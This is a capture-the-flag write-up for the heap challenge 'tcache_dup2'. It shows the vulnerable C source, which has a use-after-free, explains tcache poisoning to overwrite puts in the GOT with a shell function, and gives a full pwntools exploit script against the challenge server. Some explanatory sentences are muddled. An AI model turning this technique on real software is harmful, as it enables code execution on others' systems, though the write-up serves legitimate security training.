Write-up of the challenge “tcache_dup2”
This challenge is part of the “Binary exploitation” category and is in Level 2.
Goal of the challenge
The objective of this challenge is to abuse the UAF vulnerability.
Program structure
#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>
char *ptr[7];
void initialize(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);}
void create_heap(int idx){ size_t size;
if (idx >= 7) exit(0);
printf("Size: "); scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx]) exit(0);
printf("Data: "); read(0, ptr[idx], size - 1);}
void modify_heap(){ size_t size, idx;
printf("idx: "); scanf("%ld", &idx);
if (idx >= 7) exit(0);
printf("Size: "); scanf("%ld", &size);
if (size > 0x10) exit(0);
printf("Data: "); read(0, ptr[idx], size);}
void delete_heap(){ size_t idx;
printf("idx: "); scanf("%ld", &idx); if (idx >= 7) exit(0);
if (!ptr[idx]) exit(0);
free(ptr[idx]);}
void get_shell(){ system("/bin/sh");}int main(){ int idx; int i = 0;
initialize();
while (1) { printf("1. Create heap\n"); printf("2. Modify heap\n"); printf("3. Delete heap\n"); printf("> ");
scanf("%d", &idx);
switch (idx) { case 1: create_heap(i); i++; break; case 2: modify_heap(); break; case 3: delete_heap(); break; default: break; } }}Security breach
The vulnerability here is:
- free(ptr[idx]);, not setting also the pointer to null.
Solution
So since it checks
if (!ptr[idx]) exit(0);if the chunk is already freed then it will exist that is mitigation for double free vulnerability, however we can bypass it! We can start by creating two chunks and then freeing them both and then we put puts_got in the first chunk in the tcache which is B. You notice how we first created chunk A and then chunk B. We freed first chunk A(0) and then chunk B(1) and because the t-cache is STACK(LIFO) which means last freed would be on top so that makes the t-cache look like this:
B -> A
Then we create another chunk with an offset of 8 bytes and then another chunk with get_shell.
You might ask why add the 8 bytes?
Well it is because we need to overwrite the pointer of the puts_got chunk to make it point to get_shell chunk.
from pwn import *
p = remote("host3.dreamhack.games", 8291)
e = ELF("tcache_dup2")
get_shell = e.sym["get_shell"]got_puts = e.got["puts"]
def create(data): p.sendline(b'1')
p.sendlineafter(b"Size: ", str(0x20).encode())
p.sendlineafter(b"Data: ", data)
def delete(idx): p.sendline(b'3')
p.sendlineafter(b"idx: ", str(idx).encode())
def modify(idx, data): p.sendline(b'2') p.sendlineafter(b"idx: ", str(idx).encode()) p.sendlineafter(b"Size: ", str(0x10).encode()) p.sendlineafter(b"Data: ", data)
create(b'A' * 8)create(b'B' * 8)
delete(0)delete(1)
modify(1, p64(got_puts))create(b'A' * 8)create(p64(get_shell))
p.interactive()